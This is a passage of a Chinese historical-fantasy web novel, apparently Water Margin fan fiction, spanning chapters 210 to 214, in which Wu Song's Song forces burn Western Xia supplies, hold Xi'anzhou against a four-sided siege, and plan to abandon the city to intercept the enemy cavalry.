戴宗正在原地焦急等着,见时迁平安回来,喜道:
“时迁贤弟好手段!”
时迁把包袱拿下来打开,嘿嘿笑道:
“论神行术,我不如哥哥。”
“可这偷鸡摸狗的勾当,哥哥不如小弟。”
戴宗见有酒有肉有馒头,喜道:
“鸡鸣狗盗,自有用途。”
两人席地而坐,望着远处的浓烟,畅快喝酒吃肉。
轰...
山谷内突然传来一声巨响,硝烟从谷内腾起。
屯放在谷内的**被引燃,发生**了。
大宋有火器,西夏也有,只是不如大宋的先进。
等东西吃完了,时迁在原地尿了一泡。
豆子给马吃了,喂了水,戴宗、时迁翻身上马,立即往回赶路。
白天燥热,马不能跑太快,等到下午时分,才回到西安州附近。
本以为安全了,西面突然出现一队铁鹞子。
望见戴宗、时迁,铁鹞子快速追杀。
时迁大叫不妙,拼命策马狂奔。
坐下战马跑了一天一夜,已经疲惫,铁鹞子越来越近。
“哥哥先走,莫要顾我。”
时迁大叫,戴宗喊道:
“我岂能丢下贤弟!”
身后铁鹞子追上来,弯弓搭箭对着戴宗、时迁乱射。
两人趴在马背上,乱箭射中战马,两人同时倒地。
铁鹞子兴奋大叫:
“莫要放箭,捉活的!”
时迁摔得鼻青脸肿,大叫道:
“哥哥快走!”
戴宗爬起来,吐了一口血丝,说道:
“到我背上来!”
“哥哥你快走...”
“闭嘴,到我背上来!我有神行术!”
时迁恍然大悟,连忙爬到戴宗背上。
铁鹞子见戴宗背着时迁,大笑道:
“蠢驴,竟然想背着人逃命!”
他们有战马,人力不可能跑过战马。
更何况戴宗背着一个成年人,更是死路一条。
戴宗浑然不顾,四只甲马绑在腿上,袖子里抽出一张符纸点燃:
“曦轮照我影,八荒缩地庭!疾!”
黄符燃尽,戴宗腿上黄色光芒乍现,身体猛地窜出数百米。
已经追到身前的铁鹞子呆呆望着戴宗风一样跑了...
“这厮...好快!”
铁鹞子眼巴巴看着戴宗消失在远处。
戴宗一口气跑回西安州,李二宝在城上看见,慌忙开了城门。
戴宗丢下时迁,累得瘫在地上。
时迁哈哈笑道:
“哥哥也恁地颠簸了,不如骑马舒坦。”
“你这厮...累煞我也!”
李二宝好奇地问道:
“怎的让院长背负你归来?”
时迁笑道:
“路上遇到了铁鹞子,战马被射死,险些被抓了。”
“好在院
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长哥哥有神行术,背着我逃了一命,好险、好险...”
李二宝叫人扶着他们回到城内,武松一众人出来迎接。
问了事情经过,鲁智深哈哈大笑道:
“院长神行术名不虚传。”
施恩笑道:
“好在时迁老弟身子骨柔弱,若是师兄去了,院长只怕背不动。”
鲁智深哈哈笑道:
“洒家若在,何须院长背我,将那铁鹞子打死便是。”
众人笑了一场。
郓王赵楷赶来,听说戴宗、时迁烧了西夏辎重,大喜道:
“两位又立了一大功!西夏大军缺了粮草,岂能持久!”
武松说道:
“西夏粮草辎重少了,必要狗急跳墙,与我决战。”
“传令全军备战,西夏这几日必来!”
所有人各回本营准备。
西夏营寨内。
一匹马匆匆进了营寨,到了献王阿惠跟前。
山谷粮草辎重被烧的消息上报,阿惠气得咬牙切齿,骂道:
“烧了粮草,你让本王如何打仗!”
抽出侍卫的刀,阿惠一刀砍了信使。
监军使仁多洗忠在旁边,脸色凝重道:
“三十万兵马所需的粮草,急切之间难以筹措。”
“静塞军司被烧了,只能从王爷的卓罗和南军司调拨。”
“不过...毕竟有限,须上奏兀卒,请求再拨付粮草,否则大军断粮,军心自乱。”
献王阿惠黑着脸骂道:
“此事何须你来教我!我岂不知大军未动、粮草先行的道理!”
“兀卒命我为主帅,未曾有尺寸功劳,却先烧了粮草。”
“你让本王如何向兀卒交代?”
仁多洗忠默然不语...
阿惠把粮官叫过来,问营寨内的粮草还能支持几天?
粮官说最多五天,五天后就断粮了。
“武松那狗贼...你马上回卓罗和南军司,速速调拨粮草,送往西寿保泰军司。”
“再...再..”
阿惠想了半天,只有如实向皇帝李乾顺禀报,请求朝廷再拨付粮草。
三十万兵马的粮草太多了,他不可能堵上这个窟窿。
“你去吧!”
粮官退下,阿惠硬着头皮写了一封奏报,派人星夜送往兴庆城。
“把他们都叫过来!”
阿惠怒喝,手下传令,很快,几个监军使都到了。
“武松那狗贼烧了零波山的粮草。”
阿惠一开口,重贵、玉丑和万保都震惊了。
布雅惊愕道:
“山谷有重兵防守,怎会被烧了?”
第210章 粮草被烧,阿惠强攻
阿惠垂头丧气,无奈道:
“我也不知,粮草已然被烧了,且与各位商议个对策。”
玉丑、万保面面相觑,打仗最怕断粮。
没有饭吃,士兵根本不愿意打仗。
还有战马,没有精料跑不动。
人可以打骂威胁,逼着士兵作战。
战马是牲口,吃不饱就是不跑,谁都奈何不了。
重贵坐下来,脸色阴沉,问道:
“粮草全被烧了?”
“全烧了,只剩下些军械。”
“那便速战了,零波山的粮草从兴庆府运来,几乎耗尽了库藏,兀卒不可能再拨付了,除非等到今年麦子割了,才有粮草补给。”
阿惠不知道什么时候割麦子,转头问仁多洗忠。
仁多洗忠说道:
“还有半月才到割麦的时候。”
阿惠喃喃自语道:
“半月...等不及了,哪能支撑半月。”
嘉宁监军使玉丑说道:
“王爷,我等也可以暂退,回西寿保泰军司等粮草补给。”
祥佑监军使万保附和道:
“撤回军寨,比较稳妥。”
阿惠沉着脸不说话。
他也想过撤回西寿保泰军司,等待粮草补给。
但是,作为主帅,他有他的难处。
统帅30万大军出征,被斩了几个大将,粮草被烧了,寸功未立,便撤回军寨,索要粮草。
皇帝李乾顺必定龙颜大怒,甚至派人取代他。
所以,阿惠不能退!
“武松烧我粮草,欺我太甚!”
“我已派人回卓罗和南军司运送粮草,不必担忧断粮。”
“玉丑将军,你的嘉宁军司可还有存粮?”
玉丑马上说道:
“粮草都是朝廷给的,哪有甚么余粮。”
其实嘉宁军司还有一些存粮,但是玉丑不愿意拿出来。
西夏贫瘠,存点东西不容易。
“那便速战吧,明日攻城,诸位去准备。”
阿惠下了军令,几个人无可奈何,只能照做。
到了外头,玉丑追上重贵,说道:
“王爷这等强攻西安州,恐怕伤亡惨重,那武松狡诈,不是好对付的。”
重贵冷笑道:
“明日自然是马颂打头阵,你怕甚么?”
马颂是卓罗和南军司的监军使,也是阿惠的嫡系。
重贵这样说的意思很明显,明天冲锋陷阵,让阿惠自己的部队打头阵。
万保呵呵冷笑道:
“献王何等精明,明日必让我等在前。”
“那便遵从将令。”
重贵转身离开。
玉丑低声骂道:
“他的翔庆军是马军,攻城不需要他。”
万保说道:
“不见得就是坏事,若是攻破了西安州,我等是首功。”
“也是,他翔庆军不参战,也别想分功劳。”
两人各回本部,准备明日攻城。
第二天早上。
阿惠全身披挂,带着手下部将,还有卓罗和南军司兵马,从营寨出发。
翔庆军的铁鹞子随后,玉丑的嘉宁军司在左侧、万保的祥佑军司在啊右侧。
仁多洗忠的西寿保泰军司只剩两万人,而且不是精锐,跟在阿惠后面。
至于布雅,他虽然是静塞军司的监军使,但静塞军司被武松一把火烧了。
静塞军司的精锐几乎全部死在了葫芦河谷,他现在几乎是个光杆司令,所以和仁多洗忠一起。
三十万兵马浩浩荡荡杀到西安州城下。
武松早已经得到了消息,全城兵马迎战。
赵楷站在北面城楼上,望着乌压压一片的大军,心里有点打鼓。
种师道脸色凝重,武松烧掉了西夏的粮草,断了阿惠的退路。
这一战,阿惠肯定会疯狂进攻。
今日是一场恶战!
种师中回头吩咐副将**,传令怀德军所有人不得后退。
**立即传令。
张吉身披铠甲,望着黑压压的敌兵,脸上露出喜色,眼里没有畏惧,只有对功劳的渴望。
种师道在旁边,见张吉这等表情,心中暗暗称奇:
临危不惧,这张吉有大将之材!
武松亲自镇守北门,卢俊义、杨志、鲁智深各自镇守一方。
扈三娘、李二宝跟着武松镇守北门;燕青自然跟着卢俊义东门;曹正、施恩跟着杨志镇守西门;徐宁跟着鲁智深镇守南门。
凌振指挥霹雳营,抛投车准备好,随时发射霹雳炮。
何运贞也穿上了铠甲,到了城楼上观战。
赵楷脸色凝重,问道:
“二郎,能守住么?”
武松抬手捏了捏赵楷的脸,说道:
“
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我听闻献王阿惠有龙阳之好,若是守不住,你被捉了去,也能过得自在,无需害怕。”
赵楷吓了一跳,骂道:
“老子宁死不被捉住!”
“呦呵,有骨气,难得!”
“你这是何意?莫非我赵家不是有骨气的?”
武松笑而不语...赵家有个屁的骨气。
除了宋太祖赵匡胤,后面的哪个不是软蛋?
高粱河战神宋太宗,**之君宋徽宗,跪地称臣宋高宗...
城外鼓声隆隆,时迁蹲在哨塔上,看着西夏兵马开始推进。
城外。
献王阿惠传令祥佑军司进攻东城门、嘉宁军司进攻西城门、翔庆军进攻南城门,自己则进攻北城门。
听了这部署,布雅心中暗道:
自古攻城只选薄弱之处,献王四面**,好没道理!
看出布雅的心思,阿惠说道:
“本王岂不知攻城之道,但武松死守,我攻其一处,难以见效。”
“我军无有粮草,唯有速战,所以四面攻城。”
布雅听了这话,默然不语。
就算缺乏粮草,这样攻城也不见得效果就好。
各军司的兵马缓缓调动,战鼓擂响,攻城开始。
卓罗和南军司监军使马颂带着麾下将领在前面,呵斥道:
“攻城!”
步跋子举起盾牌,工程车缓缓往前推进。
城楼上,武松下令放箭!
乱箭落下,西夏步跋子倒下不少,但还在往前推进。
阿惠动手了,东西两侧也开始攻城。
唯有南面的翔庆军还没有动手。
副将李义说道:
“将军,我们是马军,如何攻城?”
重贵看了一眼自己的右臂,说道:
“绕行城墙,放箭!”
“若是他们攻入城内,我等再行强攻。”
李义得令,下令骑兵绕着南城门放箭。
鲁智深在城上见了,骂道:
“放甚么鸟箭,却不敢来厮杀!”
徐宁下令放箭还击,鲁智深见北面已经开战,焦躁道:
“早知这厮不敢攻城,洒家便不要镇守这南门!”
“师兄莫要轻敌,这厮在观望,若是其他城门被攻破,必要杀上来的。”
“他上来便好!”
鲁智深耐着性子,就在南门防守。
第211章 四面**,西夏死战
步跋子推进到城门下,攻城云梯搭在城墙上,攻城车缓缓靠近。
擒生军在后面放箭掩护,城楼上放箭还击。
咻!
一支箭击中赵楷头盔,吓得护卫长刘志喊道:
“郓王且到城下去!”
“放屁,将士在此,我岂能跑了!”
刘志没法子,只能召集侍卫守着赵楷。
李二宝手持弓箭,对着城下射击,连续射杀十几人。
扈三娘惊奇道:
“你箭法不错?”
“我是猎户出身,这些人比山间猎物好杀多了。”
山林里的猎物目标小,有草木遮挡,速度又快。
城下这些攻城的士兵目标大,而且速度不如野兽。
对于李二宝来说,这些人就是移动的靶子。
阿惠见城上还击猛烈,回头呵斥道:
“把民夫赶过去,冲到城下!”
手下得令,把一万多民夫往前驱赶,推动攻城车往前压。
这些民夫大多是老弱,一边哭一边往前冲。
城上乱箭落下,射死一大片。
何运贞在城上看着,忍不住说道:
“西夏所为何其残暴,居然让老弱冲阵!”
兵马都监陈罡说道:
“何参议不必怜悯,这些人攻入宋国时,**最狠!”
“特别是那些少年,淫辱妇人最甚,且嗜杀!”
熙州兵马都监曹光远说道:
“不错,去年童枢密兵败,这些民夫屠戮村镇,鸡犬不留,最是可恨!”
何运贞惊讶道:
“竟然如此?”
“不错,这些人死有余辜!”
听到这话,何运贞拿起弓箭,对着城下放箭。
武松见人潮涌动,攻城车快到城墙,擒生军正在缓缓靠近,回头喊道:
“让凌振放炮!”
传令兵跑到凌振身边,喊道:
“武宣抚有令,放炮!”
凌振大喜,喊道:
“放炮!”
一颗颗霹雳炮放在托盘上,信香点燃引信,抛投车放射。
一瞬间,几十颗霹雳炮飞入擒生军中。
轰...
霹雳炮炸开,无数碎片激射而出。
擒生军大部分没有铠甲,碎片击穿衣服,瞬间数百人倒下惨叫。
监军使马颂见城上落下的霹雳炮,心中暗道:
若是辎重没有被烧,我也有火炮对付。
轰...
一颗霹雳炮在不远处炸开,随便击中马颂面部,划开一道口子,开始流血。
还有几个碎片陷入铠甲内。
马颂拔出铠甲上的碎片,心中暗暗惊讶:
宋国的火器为何威力大增?
西夏和大宋交战多年,都知晓对方底细。
大宋的火器比西夏先进,威力更大,但也就那样。
今日这霹雳炮明显不一样了,声音更大,杀伤力更强了。
仁多洗忠和布雅两人协助攻打北门,两人也发现了不对头。
布雅说道:
“这火炮似乎更强了。”
仁多洗忠点头道:
“不错,一颗火炮落下,有几十人倒下。”
阿惠静静看着攻城,他只想攻破西安州,并不在乎伤亡。
北门开战时,东门也开始了。
卢俊义站在东城门。
祥佑军司监军使万保披甲指挥,手下指挥使带领步跋子往前推进。
两边开始放箭,攻城器械往前推。
种师中协助卢俊义镇守东门,看着步跋子很快冲到城下,副将**下令**手还击。
攻城云梯靠在城墙上,步跋子开始疯狂往上攀爬。
卢俊义手持**,亲**敌。
种师中也拿起所用长刀,在城墙上拼杀。
监军使万保在城下望见,暗暗拈弓搭箭,瞄准种师中。
卢俊义厉害,但种师中是镇守渭州的老将。
如果能射杀种师中,对宋军士气的打击更大。
所以,万保首先瞄准种师道...
咻!
一支**箭破风射来,正中万保手腕,手掌被射穿,手中弓箭掉在地上。
万保惨叫,手下将领慌忙看向城上,却见燕青手持一张**机,俯视万保。
刚才万保瞄准种师中的时候,燕青便已察觉。
不等万保放箭,燕青先一步射出**箭,正中万保手腕。
“万将军请后撤。”
手下惊慌地护住万保,万保指着燕青怒骂道:
“老子打了几十年的仗,何时后退过!”
“给我攻破城门,定要杀了那厮!”
原本打算保存实力,让阿惠所部拼命,自己见机而动。
如今手腕被击穿,万保怒不可遏,不再保存实力。
将令传达,祥佑军司全军疯狂涌向城门。
燕青在城上,对种师中喊道:
“老将军且回去,仔细冷箭伤了。”
种师中怒道:
“老夫镇守渭州,从未退却,怕甚么冷箭!”
见劝不动,燕青让副将**保护好种师中。
敌兵如蚂蚁般往上涌,卢俊义回头呵斥霹雳营放炮。
凌振人在北门,但霹雳营在四个城门都有部署。
得到将令,霹雳营开始放炮,霹雳炮在城下炸开。
西门由杨志带着施恩、曹正镇守,嘉宁军司监军使玉丑指挥手下兵马进攻
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。
两边**箭互射,步跋子呐喊着往前冲。
施恩看了半天,说道:
“哥哥,我怎觉得他们未尽全力?”
杨志也看出来了,说道:
“这厮坐观成败,欲要保存实力。”
延安府将领杨惟中和嘉宁军司打过仗,见步跋子这攻城的架势,说道:
“不错,这厮未尽全力。”
施恩说道:
“也好,他们军心不齐。”
嘉宁军司摸鱼的时候,北城门正打得非常惨烈。
霹雳炮不断落下,地上躺了一片的尸体。
距离霹雳炮近的,直接被炸断四肢脑袋,血糊了一地。
扈三娘提着日月双刀,**冲上来的敌兵。
赵楷也拔出佩剑,亲**敌守城。
阿惠望着不断爬上城楼,又不断坠落的士兵,脸色越来越沉重。
西安州的防守远比他想的要坚固。
以前也攻打过大宋的城池,这种小城,只要西夏拼命进攻,大宋的将士一般都会逃跑。
可是今日不同,大宋将士在死战。
布雅走过来,说道:
“王爷,围城必阙,要不要放开一角,让他们有退路?”
阿惠想想也有道理。
原本想着全歼城内宋军,杀掉武松立功。
现在看来,这个想法不现实。
先把西安州攻下,给皇帝李乾顺一个交代,再想办法杀武松。
“让翔庆军回来,助我攻北门!”
传令军策马跑到南门,正见翔庆军懒洋洋放箭。
找到重贵,传令兵喊道:
“统军有令,翔庆军调往北门!”
副将李义问道:
“南门不进攻了?”
“小的不知。”
传令军的职责就是转达将令,不能乱说其他话,免得误解。
阿惠没有说过的话,他也不敢乱说。
重贵说道:
“围城必阙,王爷想空出南门,让宋军逃跑。”
“可是...”
“走,到北门去!”
重贵也不啰嗦,召集翔庆军往北门赶去。
鲁智深见翔庆军突然后撤,恼怒道:
“这厮为何跑了?洒家还未与他厮杀!”
徐宁看向北面,说道:
“想是北门作战不利,调兵过去了。”
“洒家去助二郎!”
鲁智深拖着禅杖就要走,徐宁一把扯住鲁智深,劝道:
“二郎命我等镇守南门,岂可擅离职守?”
“万一那翔庆军虚晃一枪,又来抢夺城门,又当如何?”
鲁智深心中焦躁,却也知道战场规矩,只能耐着性子镇守南门。
第212章 击退**,时迁送信
重贵带着翔庆军赶到北门的时候,只见城门下堆着一层的尸体,攻城还在继续,两边杀得十分惨烈。
步跋子已经爬到了城墙上,却又都被斩杀。
重贵能看见武松站在城楼上,身边的扈三娘、李二宝正在击杀爬上去的西夏士兵。
副将李义忍不住骂道:
“献王疯了!”
重贵心中也大骂阿惠疯了,这样攻城。
见翔庆军回来,阿惠命令重贵跟着攻城。
阿惠是战场主帅,他不能抗命,当即命令翔庆军放箭增援。
至于放弃战马攻城,重贵不可能那么愚蠢。
城下的乱箭暴增,守城士兵伤亡也在增加。
武松望见翔庆军赶来,问道:
“南门敌兵是否全撤了?”
何运贞派人去问,回禀说全撤了。
“围城必阙,笑话!”
“传令南门坚守,切勿妄动!”
何运贞派人传令。
受伤的士兵抬下去救治,西夏步跋子还在拼命往上冲。
凌振跑过来,说道:
“武宣抚,霹雳炮快用完了。”
“用石头砸。”
“领命。”
这时,白石子三人跑上来,到了城楼。
种师道见到三个降将,顿时警觉。
武松回头,问道:
“你们来做甚?”
“大人,小的们请求参战!”
在场众人都不信任这些投降的西夏兵。
外面可是他们的同袍,万一他们反水,后果很严重!
“准!”
武松当即答应。
赵楷抓住武松,说道:
“二郎,太冒险了,再过些时日。”
种师道也反对,认为现在用他们不到时候。
武松却说道:
“疑人不用、用人不疑,到了我的麾下,就是我的兵!”
“把你们的人叫上来!”
白石子三人拜道:“领命!”
很快,白石子带着三百人上来。
他们现在已经换成了大宋的红色军服,拿着兵器守城。
正在交战的大宋将士见到他们,都是一愣。
但是很快,大家开眼了。
这些人作战比大宋将士还要卖力。
白石子挥刀劈砍,一刀一个,毫不留情!
种师道见了,心中暗暗称奇:
武松好手段,这些人居然真的归心了!
武松也看见了,这些人真的卖力,那管什么同胞死活。
果然,二鬼子才是最狠的!
战斗从上午一直打到下午时分,三面城门无一攻破。
仁多洗忠请求阿惠休战,监军使马颂也回到阵后,请求停止进攻。
阿惠望着一层一层的尸体,下令收兵。
敌兵后撤,赵楷大喜道:
“我们守住了!”
城上将士欢呼,庆祝挡住了三十万大军。
武松下令清理战场,受伤的士兵马上救治。
城墙上的尸体全部丢下去,外面的尸体就地挖坑掩埋。
夏日天气燥热,不及时清理,很快就会腐烂发臭,容易传播疫病。
白石子三人带着手下回营地休整。
鲁智深提着禅杖到了议事厅,满脸不爽:
“二郎,明日洒家不守南门,那鸟厮只会放箭,却不敢攻城,俺在那里闲出鸟来。”
卢俊义正在包扎胳膊,他被流矢擦伤了。
武松说道:
“既如此,师兄明日到东门镇守,如何?”
鲁智深马上说道:
“使得,我替卢员外镇守!”
卢俊义知道鲁智深的性子,笑道:
“好,那我便到南门等清闲。”
“如此甚好。”
鲁智深高兴了。
杨志说道:“今日我镇守西门,那祥佑军司的兵马好生怠惰。”
施恩附和道:
“不错,他们驱使民夫攻城,大军却迟迟不动,只是鼓噪而已。”
赵楷看向种师道,问道:
“老相公,祥佑军司与阿惠是否不和?”
种师道说道:
“西夏军司独占一方,监军使之间互不服气。”
“武宣抚烧了他们粮草,阿惠急于速战,那万保未必如此想。”
何运贞说道:
“敌兵大将不和,这是好事,或可离间招揽。”
这话提醒了赵楷,说道:
“二郎,当初省试,你的时务策便有离间招揽,或可一试。”
武松想了想,或许可行。
“嗯,我试试。”
议事完毕,各自回去休息。
武松带着扈三娘进入西夏兵营房,里面摆着两具尸体。
白石子三个军使见武松进门,立即起身迎接。
“阵亡了?”
“是。”
武松坐下来,让扈三娘拿来纸笔。
“他们的姓名,家在何处?”
营房的西夏兵都很诧异,人**就**,还问什么姓名、住址?
“说!”
“羊蛋,韦州河口村人;李老三,静塞军司鸣沙镇人。”
武松记下名字,问道:
“他们的银子呢?”
白石子看向士兵,两
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个人乖乖拿出银锭,放在桌上。
武松把银子塞给白石子,说道:
“替他们保管好,等灭了西夏,我亲自把银子送给他们家人。”
在场众人都惊讶了。
他们的家在西夏,**就**,不可能找人把银子送回去。
但武松的话给了他们希望...
只是这个希望有点渺茫。
小心收了名单,武松说道:
“你们今日打得很好!每人赏十两银子!”
“你们三个军使每人一百两银子,羊蛋、李老三阵亡,一百两银子!”
“三娘,你去拿银子。”
扈三娘点了十几个人,很快把银子拿过来。
羊蛋、李老三的银子同样交给白石子保管。
得了赏银,众人喜不自胜。
“后面的战斗,你们不用再参加,我养你们有用,莫要死在这里。”
武松起身,带着扈三娘离开。
李成龙望着武松离去,问道:
“石子,我们今日打得不好么?”
白石子摇头道:
“若是不好,不该赏我们。”
“那为何不让我们再去?”
白石子摇头,营内的俘虏也很懵逼。
回到营房,武松写了一封信,把时迁叫到房间里。
“时迁贤弟,我有一封招降的信,是给静塞军司监军使布雅的。”
“你可于今夜潜入营寨,送到布雅手中。”
“此行危险,贤弟定要仔细。”
时迁接了信,贴身藏了,笑道:
“小弟不擅战阵厮杀,这送信的差事倒是做得。”
到了夜里,时迁悄悄出了西安州,趁着夜色赶往西夏营寨。
十几里的路,时迁很快便到了。
外面斥候巡逻,提防武松夜袭。
时迁避开斥候,到了营寨边上,悄悄翻过去。
寨内兵马各自按照军司分布,时迁小心寻找。
直到后半夜,时迁才寻到布雅所在营帐。
拿刀悄悄割开帐子,时迁慢慢掀开,早见一口刀架在了时迁脖子上。
布雅持刀冷笑道:
“好大的胆子,竟敢半夜刺杀?”
时迁嘻嘻笑道:
“哪有我这等刺客,我来送信的。”
“送信?”
时迁慢慢从怀里抽出一封信,说道:
“这是武宣抚特意给将军的信,请仔细看了。”
布雅拆开信,里面果然是武松的亲笔。
“将军仔细看,我先走了。”
时迁嘻嘻一笑,抽身离开营帐。
第213章 武松招降,重贵突袭
西夏有自己的文字,但布雅也认识汉字。
信上,武松说静塞军司已经被烧了,所部兵马几乎全军覆没,布雅肯定难逃一死。
如今还没有被斩首,只是为了吊着他,让他戴罪立功。
但是,西安州不可能攻破,大宋也不可能输掉。
所以,布雅最后的结局只有一死。
既然如此,何不投降,武松保布雅一个前程。
看完后,布雅把信烧了。
武松说得没错,布雅听到了兴庆城的消息。
皇帝李乾顺要杀他全家,目前留着,就是为了让他戴罪立功。
可按照今日这情况,**一万多人,根本打不进去。
最后真的难逃一死...
布雅深深叹息一声。
若是孤身一人,投降便投降了。
可是家人都在兴庆城,如果投降,家人必死。
布雅躺在军帐里,翻来覆去,根本睡不着。
兴庆城皇宫。
皇帝李乾顺已经正在熟睡,一封奏报送到了贴身太监手里。
见是献王阿惠的奏报,太监不敢怠慢,只得叫醒李乾顺。
撑着朦胧的睡眼,李乾顺坐起来。
听闻是阿惠的奏报,李乾顺喜道:
“莫非阿惠就杀了武松?竟如此快?”
拆开奏报,看了几行,李乾顺勃然大怒,骂道:
“阿惠这个蠢驴,粮草居然被武松烧了!”
“出兵至今,未有寸功,却把粮草烧没了,还敢问我要粮草!”
“蠢驴、蠢猪!”
李乾顺从床上跳下来,气得把奏报撕得粉碎。
太监吓得瑟瑟发抖,不敢说话。
“问我要粮草...我哪有粮草?”
“三十万大军开动,我把粮草都给他了。”
李乾顺气得把旁边的桌子掀翻在地。
“去,把中书令、枢密使找来,到这来!”
太监传旨,中书令李光信、枢密使香都匆匆进了寝殿。
见李乾顺这么生气,两人猜测前线战事不妙。
“阿惠那只蠢驴,粮草被武松烧了,问我要粮草。”
“你们说,该如何处置?”
李乾顺终于开口,李光信、香都两人同时震惊。
大军开战,最重要的就是粮草。
况且,西夏贫瘠,最缺的就是粮草。
三十万大军的粮草,这是巨额数目。
见两人都不说话,李乾顺骂道:
“你两人是百官之首,到要用你们时,却都不言语!”
中书令李光信说道:
“回兀卒的话,大军最怕断粮,可先把翔庆军的粮草火速送去。”
“再...如今的麦子也快熟了,先开镰割了吧。”
麦子已经灌浆,麦穗饱满了,只是还没有退青。
这样的麦子割了也能吃。
李乾顺脸色阴沉,许久才说道:
“那就开镰吧,将南面的麦子割了,给阿惠送去。”
“传我旨意,告诉阿惠,如果杀不掉武松,他不用回来!”
李光信、香都同时行礼退出寝殿。
身后传来李乾顺的骂声。
到了外头,天色微明,枢密使香都叹息道:
“粮草重地,怎会被烧了?”
“多说无益,且传令把麦子割了,给阿惠送去。”
“只得如此了。”
枢密院火速起草军令,派人送去。
中书令李光信也给西夏南边各地,马上把麦子给了,给阿惠送过去。
...
到了第二天。
阿惠从营帐出来,各军司的兵马刚刚醒来,样子都不太好。
召集五个监军使到中军大帐,阿惠开口问道:
“昨日攻城伤亡不小,却不见功。”
“你等说说,有何计策?”
嘉宁军司监军使玉丑的手腕裹着纱布,说道:
“西安州虽然城池不大,但武松在那里,他手下的将领死战,强攻只怕难以得手。”
“我的意思,不如用他的计策,攻其所必救。”
阿惠不悦道:
“察哥当初便是这等,你又让本王故技重施?”
当初察哥为了引诱武松出战,大军从西安州出发,绕过怀德军,进攻渭州城。
结果武松直奔静塞军司,察哥回援,被击杀在葫芦河谷。
这样的计策,怎么看都是愚蠢。
玉丑说道:
“今时不同往日,当初察哥进攻渭州城,乃是诱敌。”
“如今我等并非虚张声势,乃是率大军直奔渭州城。”
“待攻破渭州城,武松不得不与我等决战。”
“而我军有大军三十万,攻渭州城必破。”
卓罗和南军司监军使马颂反驳道:
“若是武松
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直奔西寿保泰军司,又当如何?”
“去便去了,军司还有甚么值得顾忌?”
马颂没有再反驳。
现在的西寿保泰军司确实没东西了,粮草已经被烧毁,仅有一个军寨而已。
“如果...武松直奔卓罗和南军司呢?”
阿惠担心自己的老巢失守,玉丑说道:
“王爷破了渭州城,足以弥补损失。”
“且武松若是袭取卓罗和南军司军司,西安州也必定空虚。”
“到那时,王爷回兵,再破西安州。”
阿惠看向其他人,问道:
“诸位以为如何?”
任多洗忠不说话,他吃过一次亏,心里也怕。
布雅更是亲历者,心中更是谨慎,而且,他手里没有兵马,说话没用。
祥佑军司监军使万保想了许久,说道:
“此计比强攻要好,但...兵行险着。”
阿惠看向重贵,问道:
“你觉得如何?”
重贵沉默片刻,说道:
“此计可行,但无须大军出动,我带领翔庆军突袭渭州城,武松必定回援。”
“到那时,王爷领兵强攻西安州。”
阿惠眼前一亮,问道:
“重贵将军可有把握?”
“我听闻渭州城空虚,宋国兵马都在西安州,我此去必能立功!”
“好,本王命你率翔庆军袭取渭州城,不得有误!”
“末将领命!”
重贵起身退出,下令翔庆军准备突袭渭州城。
有了破敌之策,阿惠感觉自己又行了,心情大好。
“你等都去准备,只待武松离开,便可攻城!”
...
西安州。
一道人影从城外飞驰而来,士兵连忙开了城门。
戴宗匆匆进了武松房间,扈三娘正在梳头。
“二郎,翔庆军动了,他们似乎要绕过西安州往南,可能奔袭渭州城。”
扈三娘站起来,说道:
“渭州城几乎是一座空城,若是翔庆军突袭,定然守不住!”
武松微微皱眉道:
“阿惠这厮,此时还敢分兵?”
“突袭渭州城倒是个好计策,使我顾头难顾尾。”
戴宗说道:
“此事紧急,二郎须快些想法子。”
武松起身道:
“召集众人商议。”
第214章 放弃城池,打运动战
众人很快到了议事厅,武松直截把事情说了,然后问道:
“你们以为当如何应对?”
在场众人都很诧异,没想到重贵这时候还敢分兵进攻渭州城。
种师道愁眉不展,说道:
“渭州城几乎是空城,七万翔庆军出动,破城只在瞬间。”
“可是,如果分兵救援...阿惠必定倾巢进攻西安州。”
“而且,我军若是出城,则必在平原与翔庆军野战,于我不利!”
“这一招诱敌出击,可谓巧妙。”
种师中点头道:
“渭州城是我军后方重镇,城内百姓多,若是不救...必然死伤惨重。”
“可若是发兵救援,正好中了他们的计策。”
两个老将都觉得此时两难,救不救都有问题。
武松看向其他人,问道:
“你们以为如何?”
卢俊义脸色凝重不说话,鲁智深焦躁道:
“有甚么多想,那鸟翔庆军敢出来,洒家带兵将他们杀了便是。”
杨志劝道:
“师兄且慢,翔庆军是西夏最精锐马军,平地与他野战,于我等不利。”
“有甚么利不利,洒家听闻,狭路相逢勇者胜,杀了便是。”
武松看向徐宁,徐宁没有说话。
对付翔庆军,要靠钩镰枪,可是钩镰枪班人数不够,训练时间也不够。
此时若要对付翔庆军,徐宁自己都没有信心。
见众人如此,武松也觉得难办了。
赵楷问道:
“二郎,可否故技重施?”
武松没有说话,赵楷继续说道:
“翔庆军突袭渭州城,我等突袭西寿保泰军司。”
武松摇头道:
“翔庆军虽然离去,但阿惠仍有二十多万兵马驻扎。”
“我若孤军深入,阿惠断我归路,我上天无路、入地无门。”
赵楷沉默了...
这一刻,才体会兵马多的好处。
阿惠就算把最精锐的兵马分出去了,大宋这边仍然不敢出城。
议事厅陷入沉默气氛...
武松深吸一口气,说道:
“能出奇兵固然最好,但总有硬仗要打。”
“既如此,那便...放弃西安州,全力截杀翔庆军。”
听了武松的话,在场所有人愣住了...
放弃西安州?
这不等于认输吗?
阿惠的目标就是攻取西安州,如果放弃,阿惠就可以说自己赢了。
“二郎,我们若是放弃西安州,太师他们恐怕...”
武松摆摆手,说道:
“重贵敢领兵突袭渭州城,无非认定我舍不得西安州,不敢出城。”
“若我舍弃西安州,以二十万大军追杀,则我必胜!”
“阿惠就算占据西安州,又能如何?”
“待我杀了翔庆军,再回兵与他厮杀。”
这种战术,就是经典的运动战。
在运动中消灭敌人有生力量,不在一个地方死守,不跟对方打消耗战。
在运动中集结兵力,形成相对优势,几个拳头打一个。
种师道用力点头道:
“此计最好,大将统兵,不在乎一城一地得失,而在于全局之胜负。”
“舍弃一小小西安州,先杀翔庆军,再回兵与阿惠决战,此计最好!”
种师道赞同武松的策略。
种师中仔细想过后,也说道:
“不错,若是翔庆军**,阿惠必定胆寒。”
“待我军回兵时,只怕阿惠无有斗志。”
两个老将军都赞同武松的策略,其他人自然也不会反对。
赵楷问道:
“二郎,可有把握?”
“没有!”
武松直说:“战场厮杀,谁敢说一定!”
赵楷沉默不语。
鲁智深起身嚷嚷道:
“二郎说得是,没有奇兵怕个鸟,与他厮杀便是!”
张吉又激动了,说道:
“若是能灭了翔庆军,西夏最精锐的马军便没了。”
“只此一战,西夏数十年内,不敢窥我大宋边境!”
“好一桩泼天的大功!”
